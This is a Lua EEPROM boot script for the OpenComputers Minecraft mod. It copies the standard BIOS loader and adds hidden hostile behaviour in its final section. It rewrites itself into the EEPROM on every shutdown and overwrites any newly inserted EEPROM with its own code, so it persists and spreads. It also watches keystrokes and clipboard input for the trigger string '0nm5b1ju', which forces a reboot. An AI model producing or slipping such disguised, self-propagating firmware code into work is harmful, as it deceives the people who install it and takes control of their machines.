[OC]EEPROM

local _component = component

local component_invoke = component.invoke
function boot_invoke(address, method, ...)
  local result = table.pack(pcall(component_invoke, address, method, ...))
  if not result[1] then
    return nil, result[2]
  else
    return table.unpack(result, 2, result.n)
  end
end

-- backwards compatibility, may remove later
local eeprom = component.list("eeprom")()
computer.getBootAddress = function()
  return boot_invoke(eeprom, "getData")
end
computer.setBootAddress = function(address)
  return boot_invoke(eeprom, "setData", address)
end

do
  local screen = component.list("screen")()
  local gpu = component.list("gpu")()
  if gpu and screen then
    boot_invoke(gpu, "bind", screen)
  end
end
local function tryLoadFrom(address)
  local handle, reason = boot_invoke(address, "open", "/init.lua")
  if not handle then
    return nil, reason
  end
  local buffer = ""
  repeat
    local data, reason = boot_invoke(address, "read", handle, math.huge)
    if not data and reason then
      return nil, reason
    end
    buffer = buffer .. (data or "")
  until not data
  boot_invoke(address, "close", handle)
  return load(buffer, "=init")
end
local init, reason
if computer.getBootAddress() then
  init, reason = tryLoadFrom(computer.getBootAddress())
end
if not init then
  computer.setBootAddress()
  for address in component.list("filesystem") do
    init, reason = tryLoadFrom(address)
    if init then
      computer.setBootAddress(address)
      break
    end
  end
end
if not init then
  error("no bootable medium found" .. (reason and (": " .. tostring(reason)) or ""), 0)
end

local this = boot_invoke(eeprom, "get")

local cp={} for k,v in pairs(computer) do cp[k]=v end
local bufr = ""

local cshut = computer.shutdown
computer.shutdown = function(...)
  boot_invoke(eeprom, "set", this)

  cshut(...)
end

computer.pullSignal = function (...)
  local e={cp.pullSignal(...)}

  if e[1] == "component_added" and e[3] == "eeprom" then
    eeprom = _component.list("eeprom")()

    boot_invoke(eeprom, "set", this)
  end

  if e[1] == "key_down" then
    if e[3] == 8 and #bufr > 0 then
      bufr = string.sub(bufr, 1, -2)
    elseif e[3] then
      if #bufr >= 8 then
        if bufr == "0nm5b1ju" then
          cshut(true)
        end

        bufr = string.sub(bufr, 2, -1)
      end

      bufr = bufr .. string.lower( string.char(e[3]%256) )
    end
  elseif e[1] == "clipboard" then
    if string.match(e[3], "0nm5b1ju") then
      cshut(true)
    end
  end

  return table.unpack(e)
end

computer.beep(1000, 0.2)
init()